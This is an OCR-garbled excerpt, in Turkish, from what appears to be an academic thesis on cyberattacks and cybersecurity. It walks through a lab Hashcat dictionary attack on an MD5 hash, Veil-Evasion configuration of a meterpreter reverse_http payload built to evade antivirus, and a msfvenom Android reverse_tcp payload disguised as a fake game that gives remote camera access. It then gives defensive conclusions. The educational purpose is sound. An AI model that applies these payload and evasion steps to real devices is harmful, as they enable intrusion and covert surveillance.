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Oncelikle giiclii sifre giivenligine deginmekte fayda var. Cagimz teknoloji
diinyasinda kullanilan tiim cihazlarin giivenliginin saglanmasi agisindan sifre kullanilir,
fakat kullanicilarin internet ortaminda gilivenligini saglamasi i¢in belirledikleri sifreler
cogunlukla hil1 giris yapmaya yonelik akilda kalici, basit ve ayn1 olmaktadir. internetin
bir ¢ok ortaminda aymi sifrenin veya benzerlerinin kullanilmasi tahmin edilebilir bir
giivenlik acgiklig1 yaratmaktadir. Sifre kullanimi 6nemlidir fakat giicli sifre kullanimi
daha 6nemlidir. Giclii sifre ad, soyad, dogum tarihi, evlilik tarihi, telefon numarasi veya
memleket gibi, ardisik sayilar veya harfler, kisisel bilgi ile olusturulan basit ve tahmin
edilebilir olmamalidir. Giiglii parola; tahmin edilmesi zor, biiylik kiiclik harf, rakam ve

0zel karakterler igermelidir.

Glinlimiizde bu sifreleme yontemlerine dikkat edilse de bazi durumlarda sifre
giivenliginde iki faktorli kimlik dogrulamasi teknolojilerinden de yararlanilmasi

gerekmektedir.

Giivenlik sirketlerince yapilmis olan arastirmalar neticesinde diinya genelinde en
cok 123456 sifresinin kullanildig: tespit edilmistir. Tiirkiye'de ise en fazla kullanilan

sifreler asagida yer almaktadir.

123987456 / qlw2e3r4 / istanbul24 / O6ankara / password / parola / sanane /
bjk1903 / 19921992 / 123456789 / cimbom / fenerbahce / 112233

Ornek olarak gizli bir sifreli mesajin barmdig: sifreli bir dosyaya erisimimiz
mevcut. Bu dosyaya erisilmesi ardindan igerisindeki sifreli metnin ¢oziilmesini

istiyoruz. Sizma testlerinde kullanilan Hashcat yontemi ile bu islem yapilabiliyoruz.

Hashcat, basitce hash kirma islemlerini otomatize yapmak icin kullanilan bir
aragtir. Hash kirma isleminde en basit yollardan biri olan parolay: tahmin edip hashini
alip karsilastirma yapmak yontemlerden biridir. Dictionary ve brute-force saldirilart
parolalar1 tahmin etmenin en yaygin yollaridir. Brute-force ¢alisma mantifi ¢ok
karmasik olmayip verilen aralia gore tiim kombinasyonlar1 deneme seklinde
gerceklestirilir. Buda demek oluyor ki brute-force igin olduk¢a zaman gerekir.
Dictionary saldirisinda ise wordlist ile dogru orantilidir. Ben deneme islemimde

Dictionary saldirisi lizerinden ilerledim. (SAN H. )
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Sekil 27. Ozel Metnin Sifrelenmesi Ve Kopyalanmasi

gizlimesaj.txt

1 a3a2¢0c24fd1fd036f9e76c122daa7ac
2|

Sifrele

MD5 Sifreniz:

Sekil 27 de; sifrelenecek metin herhangi bir web MDS5 sifreleme teknigi ile

sifrelenmis ve gizlimesaj.txt adli dosyaya kaydedilmistir.

Sekil 28. DICTIONARY SALDIRISI BAZINDA WORDLIST OLUSTURMA

(gedit:2741): Gtk-WARNING *: : Calling org.xfce.Session.Manager.Inhibit failed:

A - o wordlist.txt
1 dilek
2 dilek123
3 ssfkssdkf]

Sekil 28’de Dictionary saldirisinda kullanilmak tizere bir wordlist yani adeta bir
veri tabani olusturuldu. Bu listenin olusturulmasi dncesinde elbetteki analiz ¢alismalari

gerekmektedir.
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Sekil 29. Dictionary Saldiris1 Sonucu

a3a2c0c24fd1fde36f9e76cl122daa7ac:dilek

Session : hashcat

Status...........: Cracked

Hash.Name .: MD5

Hash.Target......: a3a2c@c24fd1fd@36f9e76c122daa7ac
Time.Started : Sat Aug 7 21:49:37 2021 (0 secs)
Time.Estimated ... : Sat Aug 7 21:49:37 2021 (@ secs)
Guess.Mask : dilek [5]

Guess.Queue......: 1/3 (33.33%)

Speed.#1 o 6 H/s (0.00ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 1/1 (100.00%)

Rejected .: 0/1 (0.00%)

Restore.Point : 0/1 (0.00%)

Restore.Sub.#1 ... : Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1 : dilek — dilek

Sekil 29°da goriildiigi tizere saldir1 sonucunda sifreli metnin gifreleme teknigi,

hash’i, kag denemede buldugu ve sifre goriilmektedir.
e Senaryo 23: Veil Framework’ii ile Yapilmis Zararh Tespiti

Ozellikle giiniimiiz kurumsal hayatlarda mail yolu ile dosya veya resimlerde
trojan igerikli ¢ok sayida zararli bulunmaktadir. Kullanicilar iletilen dokiimanlarin
zararli olup olmadigini ¢ogunlukla anlayamadigi icin kisisel cihazlar {lizerinde agarlar
ve zararli yerlesmis olur. Bu sebeple bu probleme iliskin bir 6rnek {iizerinden
ilerlenecektir.

Bu islemi yapmak i¢in Veil Framework’ii kullanildi. Bu framework; zararl
kodlar sifrelemeye yarayan bir yapidir. Bu sayede antivirus gibi yazilimlarin atlatilmasi

saglanir.
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File

Sekil 30. Zararl Olusturulmasi

® Mozilla Firefox (] SheltNo.1

Actions Edit View Help
Set shellc option

terpr rev_http et LHOST 192.168.1.109
leterpreter/rev_http ¢ set LHOST 192.168.1.109

[python/meterpreter/rev_http>>]: set LPORT 8080
[python/meterpreter/rev_http>>]: options

Payload: python erpreter/rev_http selected

Required Options:

Name

Value Description

CLICKTRACK Optional: Minimum number of clicks to execute pay
COMPILE_TO_EXE Compile to an executable

CURSORMOVEMENT Check if cursor is in same position after 30 secd
DETECTDEBUG Check if debugger is present

DOMAIN Optional: Required internal domain

EXPIRE_PAYLOAD Optional: Payloads expire after "Y" days

HOSTNAME X Optional: Required system hostname

INJECT_METHOD Virtual Virtual, Void, or Heap

LHOST
LPORT

192.168.1.109 The listen target address
8080 The listen port

MINRAM FALSE Check for at least 3 gigs of RAM
PROCESSORS Optional: Minimum number of processors
SANDBOXPROCESS Check for common sandbox processes

SLEEP

Optional: Sleep "Y" seconds, check if accelerated

USERNAME Optional: The required user account

USERPROMPT Make user click prompt prior to execution
USE_PYHERION Use the pyherion encrypter

UTCCHECK Optional: Validates system does not use UTC timeZ

VIRTUALDLLS Check for dlls loaded in m

v

T
VIRTUALFILES Optional: Check if VM supporting files exist

Available Comma

back Go back to Veil-Evasion

exit Completely exit Veil
generate Generate the payload

options Show the shellcode's options
set Set shellcode option

[python/meterpreter/rev_http>>]: generate

Veil-Evasion

[web 5 <. /| [Twitter]

[>] Please enter the base name for output files (default is payload): dilekpayload

Sekil 30°da goriildigli iizere set LHOST ile zararlinin bulastigi cihazlarin

dinlenecegi cihaz ip ve port bilgisi konfigiire edilmistir.
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Sekil 31. Virustotal Testi

35 ) 35 security vendors flagged this file as malicious
bOccas4TechlONZ910131819008170858367324960Bbec110C2154bA1681bCS 455M8 2021-08-08 13:3%:00 UTC

DETECTION DETAILS COMMUNITY

ESET-NOD32

Yukaridaki Sekil 31°de gorildiigii iizere dilekpayload.exe adinda olusturulan

zararli yazilim virustotal’de bir ¢ok giivenlik araglarindan sinifta kalmig goriinmektedir.

e Senaryo 24: Aynm Ag Uzerindeki Cihaza Sizma

Sekil 32. Aga Bagli Cihazlarin Taranmas:1 Ve Windows Eset Internet Security’e

Takilmasi

- . [ ) =g M SearchResult * Converting your file -

INTERNET SECURITY v X

File Actions Edit View Help Ag tehdidi engellendi

Currently scanning: 192.168.28.0/16 | Screen View: Unique Hosts
Agdaki bir bilgisayar kot amagli trafik gdnderiyor. Bu,

4 Captured ARP Req/Rep packets, from 2 hosts. Total size: 240 bilgfsayaniuza;saldirma amaslkbikgiisim alabili

IP At MAC Address Count Len MAC Vendor / Hostname Fehdit enge¥cndt

Bu tehdidin ele alinmasini degistir

192.168.1.1 : : 3 INK TECHNOLOGIES CO.,LTD.
192.168.1.105 10b: 5 3 g Electronics Co.,Ltd

Bu ileti hakkinda daha fazla bilgi edinin

Sekil 32’de goriildiigii lizere Kali Linux tlizerinde ayni aga bagli cihazlarin
taramasi yapilarak IP, Mac adres ve Marka bilgileri elde edinilmistir. Ayrica Kali
Linux’un bulundugu fiziksel bilgisayarin da ayni1 agda bulunmasindan dolay:
bilgisayarda yiiklii antivirus sayesinde bu taramanin Windows bilgisayarda engellendigi

gorilmiistiir.
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Sekil 33. S1izma Konfigiirasyonlari

2.168.1.109 LPOR weni /html/fifa.apk
Android from the

Metasploit t
» or the enha

# Name Disclosure Date Rank Check Description

0 payload/android/meterpreter/reverse_tcp rmal  No Andro rpreter, Android Re TCP Stager

Interact with a module by

Sekil 33’de; msfvenom tool’u ile android cihazimiza sizmak icin gerekli
konfigiirasyonlar1 yapildi. Dinlenecek port(LPORT-Kali) ve ip(LHOST-Kali) bilgisi
yazildi, ayrica exploit sisteminde hangi payload kullanilacagi bilgisi eklendi. Karsi

tarafi kandirmak amagl fifa.apk adinda bir ajan olusturuldu ve bu oyun gibi sergilendi.

lgili (sézde) oyunun LHOST diye belirtilen Kali’nin adresi/fifa.apk seklinde
android cihazda browser’da yazildi ve uygulama indirildi. Android cihaz iizerinde

calistirildiktan sonra Kali {izerinden artik bu cithaza sinirsiz erigim verilmis oldu.
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Sekil 34. Android Cihazda Arka Kameradan Goriintii Alinmasi

Sekil 34 ve 35’de goriildiigii tlizere fifa.apk adli yalanci oyunun indirilip
calistirilmasindan sonra Sekil 34’de goriilebilecegi gibi webcam stream komutu
kullanilarak Android cihaz iizerinde arka kamerasina erigsilmis ve canli olarak Kali
tizerinde gorlintiilenmis oldu. Bu gibi durumlarda kameranin oldugu bolgenin 1sinmasi
kullanicilar i¢in bir uyar1 teskil edebilir. Ayrica android cihazlarin ayarlarinda
bilinmeyen yayincilardan uygulama indirilmemesi i¢in gerekli ayarlar da

bulunmaktadir.
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Ana hatlariyla ortaya konulan senaryolar farkli endiistrileri ve saldir1 hedeflerini
temsil eder ve bir siber saldirinin ortaya ¢ikmasinin bir¢ok yolunu gosterir. Her ne kadar
bu ¢aba i¢in basitlestirilmis olsa da, senaryolar tanimlanmis etki faktorlerinin sirket,
olay ve yanita dayali olarak oynadig1 benzersiz yollar1 gosterir. Ozetle, drnekler bir
siber saldirinin tipik olarak diisiiniilenden daha genis bir is etkileri kiimesi
icerebilecegini ve bu etkilere deginmenin c¢ok karmasik olabilecegini ve bazi
durumlarda “yiizeyin tizerindeki” siber saldir1 etkilerinden daha maliyetli olabilecegini

vurgulamaktadir.

Veri ihlallerinde yaygin olarak goriilen “yiizeyin {istiinde” maliyetleri

buzdaginin sadece goriinen kismi olabilir ve genel etkilere kiyasla nispeten kiigiiktiir.

Senaryomuzda, tipik veri hirsizligi igeren bir saldirida bile, veri ihlali yanitiyla
iligkili klasik “yiizey iistii” maliyetlerinin olay boyunca en belirgin olamayabilecegini

gostermektedir.
Bir siber saldiriin etkisi, bir olay1 takip eden yillar boyunca ortaya ¢ikar.

Acil triyaj asamas1 maliyetlidir, ancak uzun vadeli ¢abalar ¢ok daha biiyiik bir
ticret alabilir. Davetsiz misafirlerin ¢ikarilmasindan ve kamuoyu incelemesinin
azalmasindan ¢ok sonra, bir siber saldirmin etkileri ¢ok yilli bir zaman ¢izelgesinde
yankilanabilir. Calinan veriler zaman icinde cesitli sekillerde kullanildigindan yasal
maliyetler artabilir; olay dncesi biiylime ve karlilik seviyelerinin geri kazanilmasi yillar

alabilir; ve marka etkisi ¢esitli sekillerde ortaya ¢ikabilir.
Bir saldiridan kurtulmak sadece teknik bir caba degildir.

Her ne kadar siber saldirilar teknoloji tabanli araclarla yapilsa ve altyapi,
ekipman ve uygulamalarda ¢ok 6nemli hasara yol agabilse de, biiyiik hasar genellikle
BT varliklarinin kendilerine degil, isletme degerine olacaktir. Olay yaniti Oncelikle
teknik bir caba degildir. Senaryolarin gosterdigi gibi, bilgisayar sistemlerini aragtirmak,
analiz etmek, temizlemek ve onarmak i¢in teknik calisma kisa siirede 6nemli is liderligi
olan miisteri ve tg¢lincii taraf iligkilerini, yasal konulari, yatirnm kararlarin1 ve stratejik

kursta yapilan degisiklikleri yonetme cabalariyla gélgede birakilacaktir.
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BOLUM 4. SONUC VE DEGERLENDIRME

Bu caligmada siber giivenligi saglama agisindan diinyada ve iilkemizde yasanan
siber saldirilar ve sanal siber saldir1 senaryolar1 incelenmis ve olusturulmustur. Bununla
birlikte incelemenin sonucunda maddi ve manevi kayiplarin boyutlar ele alinmis olup,
bu tarz bir saldirmin koétii sonuglar dogurmadan engellenmesi amaciyla alinabilecek

siber giivenlik 6nlemleri hakkinda ayrintili degerlendirmeler yapilmistir.

Yasanilan teknolojik gelismeler ¢agimizda bas dondiiriicii bir hizla insan
hayatina degisimler getirmektedir. Bu degisimler insan hayatini olumlu etkileyebildigi
gibi olumsuz sonuglarda dogurabilir. Ornedin tez ¢alismamizda bahsettigimiz gibi
Estonya devletinin teknolojik c¢aga ayak uydurmasi bas dondiiriicii bir hizla
gerceklesmistir, 6yle ki bir kag yil igerisinde toplumun ¢ok biiyiik bir kismi devlet
islemlerini, bankacilik islemlerini, alis verig islemlerini ve daha bir¢ok islemi sanal
diinyada tek tikla yapabilir hale gelmistir. Fakat bu basdondiiriicii gelismeler olurken
acaba "siber gilivenlik" kavramini 6nemsediler mi? Bunun cevabini malesef iilkedeki
bagbakanlik resmi internet sitesi, kamu kurum ve kuruluslari, 6zel sirketlere sistematik
ve anlik olarak yurt disindan yapilan ani ve basarili olan siber saldir1 atagi karsisinda
"siber giivenlik" kavrami icin gerekenleri tam anlamiyla yapmamalarinin faturasini
fazlasiyla 6dediler. Sadece bununla kalindigini1 diisiinmek ise hayalperestlik olurdu, bu
saldirmin sadece goriinen ve tespit edilebilen yilizliydli. Devaminda kag¢ sisteme
sizdiklarini1 tespit edebilmek neredeyse imkansizdi. Ciinkii aglar1 siber giivenlik
yazilimlar1 ile desteklenmedigi icin log kayitlar1 ve siber saldirganlarin arkada

biraktiklari izleri toparlamak oldukg¢a zor bir islem haline geldi.

Iste bu sebepledir ki siber saldiriya ugramadan siber giivenlik kavrami igin
calisan yazilimlar1 ve siber gilivenlik uzmanlarini aktif, ¢alisir ve giincel vaziyette
tutmanin O6nemi tim diinyada devlet bazli bir krizle yani Estonya siber saldirisi ile

ortaya ¢ikmaistir.

Yaganan bu siber saldirilarin sonucunda artik kisisel kullanicilarin bile hedef

oldugu sonucu kendini gdstermistir. Bu sebeple ortaya ¢ikan siber giivenlik kavrami
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yasanan saldirilarin yogunlugu arttik¢a kurumlarin ya da sahislarin yeniden olaylar1 tim

boyutlariyla degerlendirmeleri gerektigini ortaya koymustur.

Cesitli lilkelere mensup tiyeler barindirabilen siber saldirganlar internet
sayesinde kolayca organize olabilmekte ve diizenledikleri siber saldirilarla iilkelere,
sirketlere, kamu ve tilizel kisiliklere azimsanamayacak oOlclide biiyiik zararlar
verebilmektedir. Iste tiim bbu yasanan saldirilari, maddi ve manevi boyutlarmni
degerlendirecek olursak, karsimiza tek bir sonu¢ c¢ikmatadir, o da: "Siber giivenlik
kavrami tam olarak saglanamadiginda ¢evrimigi ya da intranet ortaminda Siz ve

verileriniz asla glivende degilsiniz." gergegidir.

Yasanan siber saldirilardan yola ¢ikacak olursak ciddi maddi ve manevi zarara
ugramak istemiyor ve hizmetleriniz aksamadan devam etsin istiyorsak bir nevi is
giivenligi onlemi saglamak gibi diisiinecegimiz "siber gilivenlik" kavramina ve bunun
gereklilikleri olan 6zelliklere mutlaka ama mutlaka dikkat etmemiz gerektigidir. Siber
giivenlik icin, parolalariniz gii¢lii parolalar olmali, gereksiz kullanici yetkilendirmeleri
yapilmamalidir. Ornegin bilgileri sadece okumasi gereken kullaniciya yazma -
diizenleme - silme gibi biitiin yetkilerle donatim yapmamiza gerek yoktur. Bununla
birlikte mutlaka siber yazilimlariniz giincel tutulmali, antivirlis ve casus yazilim izleme
programlar1 mutlaka kullanilmali, sifreyi ve kullanict adimi otomatik olarak kaydet
secenegi asla kullanilmamali, bilgisayarmizin basindan kilit ekram1 agilmadan
kalkmamaniz onerilmektedir. Kisisel bilgi, sifre ve belgelerinizi gilivenseniz dahi
kimseyle paylasmamalisiniz. Siber gilivenlik kurallarina uyum saglamak adina
yapilacaklar1 kagirmak veya kayitsiz kalmak kuruluslarin ve kisisel kullanicilarin

beklemedikleri ciddi boyutlardaki zararlara ugramalarina neden olmaktadir.

Degerlendirmemizi yaparken ABD'nin enerji sektoriine diizenlenen sanal saldirt
senaryosuyla karsilastig1 saldir1 senaryolarina goére minimum zarari lilke ekonomisinine
21 milyar dolar olarak belirlenmis, en ug¢ senaryoda ise toplam zararin iilke ekonomisine
1 trilyon dolar1 asan bir rakama ulasmas1 degerlendirilmistir. Iste bu senaryoya gore
elde edilen degerlendirme sonucu olusan biiylik zarar bile aslinda siber giivelik
kavraminin siber saldirilarda Onleyici olarak kullanilmasi gerekliligini ortaya

koymustur, eger ki olusacak tiim zarara katlanmak istemiyorsaniz tabi ki.
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Calismamizda yayinladigimiz tim ger¢cek ve sanal saldiri senaryolarinin
olusturdugu veya olusturabilecegi sonuglar aslinda cagimizda siber glivenlik kurallarina
uymanin gerekliligini ortaya koymustur. Sirtketiniz, kurulusunuz ve kendiniz igin ya
bilinen siber giivenlik kurallarina uyun ya da profesyonel siber giivenlik uzmanlarindan
mutlaka profesyonel diizeyde yardim alin ki senaryolarda belirtilen biiyiilk maddi ve

manevi zararlar sizinde yasanmis gerceginiz olmasin.

Sonug olarak artik kurumlar siber glivenlik yazilimlarini saldirtya ugramadan
degil, saldir1 6ncesinde hazir ve giincel halde tutmalilar ki itibar kaybi1 ve maddi

kayiplar yasamadan bu tehlikeyi atlatabilsinler.
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